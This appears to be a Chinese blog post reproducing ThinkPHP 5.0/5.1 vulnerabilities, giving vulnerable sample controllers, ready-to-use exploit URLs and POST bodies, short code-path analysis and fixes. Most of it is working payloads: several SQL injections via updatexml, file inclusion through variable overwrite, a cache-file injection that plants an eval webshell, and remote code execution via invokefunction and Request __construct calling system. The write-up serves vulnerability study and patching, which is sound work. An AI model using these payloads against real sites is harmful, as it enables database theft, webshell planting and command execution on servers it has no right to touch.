Tp5一些洞复现

Builder 类的 parseData 方法 sql注入

5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5

insert/update注入

poc

<?php
namespace app\index\controller;
use think\Db;

class Index
{
    public function index()
    {
        $username = request()->get('username/a');
        db('users')->insert(['username' => $username]);
        return 'Update success';
    }
}

/index/index/index?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1

分析

在Query的insert方法中进入到Builder的insert方法

进入到parseData处

此处直接拼接val[1]和val[2]

最终直接执行

update和insert都可以注入

原来的作用应该是username[1]是字段名,username[2]是inc或者dec的数量,例如

访问public/index/index/index?username[0]=inc&username[1]=username&username[2]=2

就可以把where处的username+2,但是因为直接拼接,最终可以造成sql注入

修复

限制val[1]必须等于字段名

3

Mysql 类的 parseArrayData 方法 sql注入

5.1.6<=ThinkPHP<=5.1.7

poc

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        $username = request()->get('username/a');
        db('users')->where(['id' => 1])->update(['username' => $username]);
        return 'Update success';
    }
}

/index/index/index?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0

分析

在Query.php处调用connection->update方法

Connections.php处调用builder构建sql语句

Builder中调用parseData方法

parsedata中处理数组调用

parseArrayData中直接拼接生成result

修复

7

Mysql 类的 parseWhereItem 方法(5.0) Builder类的parseExp方法(5.1) sql注入

貌似并没有修复,而且鸡肋,随便用了tp5.1.6版本

poc

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        $username = request()->get('username');
        $result = db('users')->where('username','exp',$username)->select();
        return 'select success';
    }
}

index/index/index?username=)%20union%20select%20updatexml(1,concat(0x7,user(),0x7e),1)%23

分析

进入parseWhereExp以后判断$op为exp,跳入whereExp

whereExp直接return $this,此时$this为Query,跳入链式操作下一步Connection::select

connection调用builder,并且把$query传入

在builder的select中,return了一坨parse,我们去parseWhere里面下个断点

进入parseWhereItem,单步走,来到$whereStr这里,foreach循环到exp的时候执行parseExp

此处直接拼接,导致漏洞产生

Mysql 类的 parseWhereItem 方法 sql注入

Request 类的 filterExp 方法没有过滤 NOT LIKE

版本 ThinkPHP=5.0.10

poc

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        $username = request()->get('username/a');
        $result = db('users')->where(['username' => $username])->select();
        var_dump($result);
    }
}

index/index/index?username[0]=not%20like&username[1][0]=%%&username[1][1]=233&username[2]=)%20union%20select%201,user()%23

分析

filterexp方法的黑名单,没有not like

然后在builder->select中,又来到了parseWhereItem,$exp等于not like的时候可以控制$wherestr的拼接

修复

把not like 加入filterexp的黑名单里面

Builder 类的 parseOrder 方法 sql注入

5.1.16<=ThinkPHP5<=5.1.22

poc

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        $orderby = request()->get('orderby');
        $result = db('users')->where(['username' => 'ccdragon'])->order($orderby)->find();
        var_dump($result);
    }
}

index/index/index?orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1

直接进入Builder->select的return部分

之前有一些处理,但是对于key值毫无影响,最后直接拼接

修复

禁止key中出现)和#

3.png

Mysql 聚合函数 sql注入

5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25 

poc

 5.0.0~5.0.21 、 5.1.3~5.1.10 : id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23

5.1.11~5.1.25 : id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        $options = request()->get('options');
        $result = db('users')->max($options);
        var_dump($result);
    }
}

分析

所有聚合函数都会进入Connection->aggregate,此时$aggregate为聚合函数的名字,此处为MAX

此时的$this->builder为Mysql类,于是进入Mysql->parseKey

此时传入的$field的值(传入后为$key)即为输入的

"id`)+updatexml(1,concat(0x7,user(),0x7e),1) from users#"

parseKey的过程中有一个条件语句,会在首位各拼接一个反引号(5.1.22版本)

返回后会在首位加上MAX(和) AS tp_max

最后在select方法中执行的sql语句:

修复

Mysql->parseKey方法添加数字/字母/点号/星号的白名单

ThinkPHP文件包含

5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10

poc

<?php
namespace app\index\controller;
use think\Controller;
class Index extends Controller
{
    public function index()
    {
        $this->assign(request()->get());
        return $this->fetch(); 
    }
}

index/index/index?cacheFile=a.jpg

public里放一个图片马a.jpg,模拟已经上传(当然要记得放view文件)

分析

害,猜到是extract那里变量覆盖了,一看果然是

修复

extract

3.png

代码执行1

5.0.0<=ThinkPHP5<=5.0.10

感觉比较鸡肋

poc

<?php
namespace app\index\controller;
use think\Cache;
class Index
{
    public function index()
    {
        Cache::set("name",input("get.username"));
        return 'Cache success';
    }
}

?username=%0d%[email protected]($_POST[_]);//

分析

直接先来到Cache->set

进入File->set

getCacheKey返回缓存文件名

先获得键名的md5值,然后将该md5值的前 2 个字符作为缓存子目录,后 30 字符作为缓存文件名

接下来看文件内容的生成方式

直接加个\n//想把序列化以后的字符串直接注释掉,但是我们的payload里面又换行符,于是在缓存文件里面可以写入可执行的php代码

修复

5.png

代码执行2

5.0.7<=ThinkPHP5<=5.0.22 、5.1.0<=ThinkPHP<=5.1.30

未开启强路由的时候可以执行任意类的任意方法

poc

5.1

?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0

?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg    # 包含任意文件
?s=index/\think\Config/load&file=../../t.php     # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

分析

随便分析一个吧

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

修复方法

规定控制器名称只能为字母开头,且只能含有字母数字和下划线

^[A-Za-z](\w)*$

代码执行3

5.0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30

poc

# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system

# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

POST /?_method=__construct&filter[]=system&server[REQUEST_METHOD]=dir

分析

在Request路由检测的过程中获取$method

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注